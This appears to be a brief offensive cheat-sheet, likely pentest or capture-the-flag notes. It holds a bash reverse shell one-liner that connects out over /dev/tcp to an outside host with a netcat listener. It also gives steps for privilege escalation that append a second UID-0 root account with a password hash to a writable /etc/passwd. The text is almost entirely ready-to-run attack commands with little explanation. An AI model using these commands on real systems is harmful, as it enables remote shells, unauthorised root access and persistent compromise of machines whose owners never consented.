Bash reverse shell
Simple bash reverse shell:
sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
Listener:
nc -lvnp 9001
How to create a second root user
Check the permission on the file /etc/passwd. It probably need some adjustment.
- -rw-r--rw- 1 root root 2.3K Aug 29 2022 /etc/passwd
Generate a password hash with openssl.
- Openssl passwd <password>
Write to the passwd file the new user.
- echo "root2:XFRUtPvG8nH.o:0:0:root:/root:/bin/bash" >> /etc/passwd
Chage to root2 user.
- su – root 2